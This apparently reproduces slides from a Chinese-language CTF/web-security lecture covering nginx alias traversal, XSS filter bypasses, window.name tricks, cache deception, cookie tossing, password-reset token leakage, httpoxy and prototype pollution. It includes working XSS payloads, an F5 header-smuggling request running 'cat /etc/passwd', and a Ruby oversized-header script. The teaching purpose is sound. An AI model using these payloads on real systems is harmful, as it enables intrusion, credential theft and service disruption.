講師:堇姬
聯課 2024.2.24
成電二年級/幽夜工作室繪師/台灣好厲駭學員
DC : naup_sumire_hime
只是個喜歡資安的鶴,涉獵Crypto、Web、OSINT,最近有打算學reverse,我是Web狗
喜歡看輕小說、動畫、Vtuber、打音遊、畫畫,就是一個長年混跡ACG的宅女。
水銀燈我老婆
https://naupjjin.github.io/
成功高中宿疾調查系統
臺北庫克雲網站
...(還有一些不能丟的)
成功高中宿疾調查系統
Ubuntu娘
Debian娘
Manjaro娘
Unix娘
Fedora娘
openSUSE娘
NixOS娘
ArchLabs娘
LFS娘
WIN10
WIN11
WIN95
WIN8
WIN7
Windows Me
Windows 2000
Windows XP
Windows XP HOME
Windows Vista
Windows CE
Windows Server 2003
Windows NT4.0
WINDOWS 3.1
ex: ckcscCTF{1t_1s_th3_f1a9!}
SSTI
reflect-XSS
command-injection
Deserialization
CSRF
IDOR
SQL-injection
location /static {
alias /home/app/static ;
}
就像是 routing,設定不同的 path 要對應到怎麼樣的設定
location /static {
alias /home/app/static ;
}
location /static/ {
alias /home/app/static ;
}
location /static {
alias /home/app/static/ ;
}
location /static/ {
alias /home/app/static/ ;
}
location /static {
alias /home/app/static/ ;
}
/home/app/static/../settings.py
代理
<script>alert(1)</script>
XSS 禁用大賽
但是沒關係,不只有<script>裡面可以執行js
<img src=non_exist onerror=alert(1)>
載入一張不存在的圖片,就會觸發 onerror 事件,執行到裡面的程式碼
<svg onload=alert(1)>
也可以改用這種
見到空格被ban的水銀燈陷入長考,突然想到了一個方法
<svg/onload=alert(1)> -->/
<svg onload=alert(1)> --> tab
<svg
onload=alert(1)> -->換行
上一輪失敗讓他了解到他ban錯了,應該要ban的是onxxx之類的event handler
只要沒辦法用 event handler,就沒辦法 XSS 吧?
順便禁又javascript,以防使用javascipt偽協議
原本扣著的javascipt偽協議底牌一同被ban,所以無法使用這個
<iframe/src="javascript:alert(1)">
思考了一陣子,突然發現他沒ban乾淨,我可以這樣,塞入tab,XSS啟動
<iframe/src="javas cript:alert(1)">
<iframe/src="javascript:alert(1)">
j 的 ascii code 是 106,就可以編碼成 j
最終真紅靠著外掛打贏了
1.有沒有辦法在不使用 () 的狀況下執行函式?
alert`1`
2.連反引號都不能用呢?
onerror=alert;throw 1
拋出一個錯誤,而這個錯誤因為沒有被 catch 到,就會被 onerror 接住,最後被丟到 alert 裡面執行
onerror=eval;
throw "=alert\x281\x29"
跟剛剛一樣,只是這次換成eval,可以做到執行更多種類JS,不過第二行在幹嘛
為什麼前面多一個 =
\x28 跟 \x29,分別是 () 的編碼
XSS 壓長大賽
<svg/onload=>
僅剩下12個字的空間可以用,根本無法達到任意執行
<svg/onload=eval(`'`+location)>
--> 31字
嘗試去拿網址,因為網址後面可以接payload,並用eval執行JS
但是網址不是JS程式碼,所以想法是
https://example.com/#';alert(1)
'https://example.com#';alert(1)
這想法看起來可行,但是還是太長
不過可以注意到一件事,就是location是不是太長了
document.URL ->URL
document.URL其實也可以抓到網址但更長,不過其實可以寫成URL
event handler 裡面的JS程式碼,預設就會有 document 這個 scope
name = 123
console.log(typeof name === 'number')
其實是因為這裡的name的型別是string!!!
代表該分頁的名字 ->同一個分頁儘管內容不同,依然會共享同一個名稱
<script>
name = 'alert(1)'
window.location = 'http://example.com'
</script>
我在我的網頁寫下這段code,在跳轉到example.com
並在目標網站注入該payload
<svg/onload=eval(name)>
X-Important-Header被刪掉可能導致意外洩漏資訊
POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.0.0.1
Authorization: Basic YWRtaW46aG9yaXpvbjM=
X-F5-Auth-Token: asdf
Connection: close, X-F5-Auth-Token
Content-Length: 55
{"command": "run", "utilCmdArgs": "-c cat /etc/passwd"}
有些靜態資源會時常被使用者訪問,所以他會放在cache server中,這樣就不用再到遠端server抓取資料了
css可以被存取,因為他不是敏感文件
不應該被存取,因為你的profile中可能有敏感內容
如果被cache到的話,這個頁面就會被cache server存取下來,並且對應到連結
什麼是 Cookie?
使
用
者
瀏
覽
器
我已滿18歲
GET / HTTP/1.1
HTTP/1.1 200 OK
Set-Cookie: over18=1
設定cookie到瀏覽器
使
用
者
瀏
覽
器
再次訪問
GET / HTTP/1.1
HTTP/1.1 200 OK
over18=1,直接通過
a.com.tw 如果可以設置 cookie 到.com.tw或是.tw
https://www.mof.gov.tw/如果可以透過汙染gov.tw,來影響 https://www.president.gov.tw/
不過其實有難度你知道的服務幾乎都已經註冊了
在 Azure 上上傳一個會自己設很大cookie的html檔案然後設置一下 CDN,就可以得到一個自訂的網址
https://naup.azureedge.net/a.html
naup.azureedge.net
require 'net/http'
uri = URI("https://example.org/index.html")
req = Net::HTTP::Get.new(uri)
num = 200
i = 0
# Setting malicious and irrelevant headers fields for creating an oversized header
until i > num do
req["X-Oversized-Header-#{i}"] = "Big-Value-0000000000000000000000000000000000"
i +=1;
end
res = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => uri.scheme == 'https') {|http|
http.request(req)
}
username:Mercury
password:test123
username:Mercury
password:test123
存起來
username:Mercury
password:test123
username:Mercury
password:ecd71870d1963316a97e3ac3408c9835ad8cf0f3c1bc703527c30265534f75ae
存起來
填Mercury@gmail.com就應該寄到水銀燈老婆手上吧?
["Mercury@gmail.com", "attacker@gmail.com]
{
"operationName":"SendVerificationCode",
"variables":{
"input":{
"email":"user@example.com",
"type":"password_reset",
"redirectUrl":"https://matters.news/forget?email=user%40example.com"
}
}
}
https://matters.news/forget?email=user%40example.com&code=UYBQ912rhd_9s3TfywZnk1kQl6PCaDjPlXuNX3Df&type=password_reset
修改 redirectUrl 參數,修改成 https://naup.com
https://naup.com/forget?email=user%40example.com&code=UYBQ912rhd_9s3TfywZnk1kQl6PCaDjPlXuNX3Df&type=password_reset
const { code } = await userService.createVerificationCode({
userId: viewer.id,
email,
type,
strong: !!redirectUrl, // strong random code for link
})
createVerificationCode = ({
userId,
email,
type,
strong,
expiredAt,
}: {
userId?: string | null
email: string
type: string
strong?: boolean
expiredAt?: Date
}) => {
const code = strong ? nanoid(40) : _.random(100000, 999999)
return this.baseCreate(
{
uuid: v4(),
userId,
email,
type,
code,
expiredAt:
expiredAt || new Date(Date.now() + VERIFICATION_CODE_EXIPRED_AFTER),
},
'verification_code'
)
}
1.rate limiting?
2.server無法處理那麼多
limit_req_zone $http_x_forwarded_for zone=application:16m rate=5r/s;
limit_req zone=application burst=20 nodelay;
limit_req_status 429;
limit_conn_status 429;
# pass real IP from client to NGINX
real_ip_header X-Forwarded-For;
set_real_ip_from 0.0.0.0/0;
server {
# set error page for HTTP code 429
error_page 429 @ratelimit;
location @ratelimit {
return 429 '["Connection Limit Exceeded"]\n';
}
listen 80;
}
nginx rate limiting
ip相同
server
GET / HTTP/1.1
Host: naup.tw
User-Agent: Mozilla/5.0
HTTP_HOST=naup.tw
HTTP_USER_AGENT=Mozila/5
是一個環境變數,用於指定在進行 HTTP 請求時要使用的proxy server
這是個約定俗成的,會直接抓環境變數的來用
export HTTP_PROXY=http://proxy_server
GET /index.php HTTP/1.1
Host: naup.tw
User-Agent: Mozilla/5.0
PROXY: http://your-server/
HTTP_HOST=naup.tw
HTTP_USER_AGENT=Mozila/5
HTTP_PROXY= http://your-server/
proxy server被當成目標server內部請求來訪問
var str = "a"
var str2 = str.repeat(5)
console.log(str2)
去MDN看一下發現他寫 String.prototype.repeat
因此我們知道,我們再用repeat這個方法時不是因為str底下有這個方法
在 JS 中有一個隱藏的屬性,叫做 __proto__
它儲存的值就是 JS 引擎應該往上找的地方
var str = ""
console.log(str.__proto__) // String.prototype
repeat 函式其實是存在於 String.prototype 這個物件上的一個方法
var obj = {}
console.log(obj.a) // undefined
console.log(obj.toString) // ƒ toString() { [native code] }
obj是個空物件
var obj = {}
console.log(obj.toString === Object.prototype.toString) // true
String.prototype.first = function() {
return this[0]
}
console.log("abc".first()) // a
Object.prototype.a = 123
var obj = {}
console.log(obj.a) // 123
Object.prototype.a = 123
var obj = {}
console.log(obj.a) // 123
if (user.isAdmin) {
// do some privileged operations
}
這裡用來驗證你是不是admin,user.isAdmin是用來存取你是不是admin的
Prototype-pollution+reverse shell
這很重要,一定要填!!!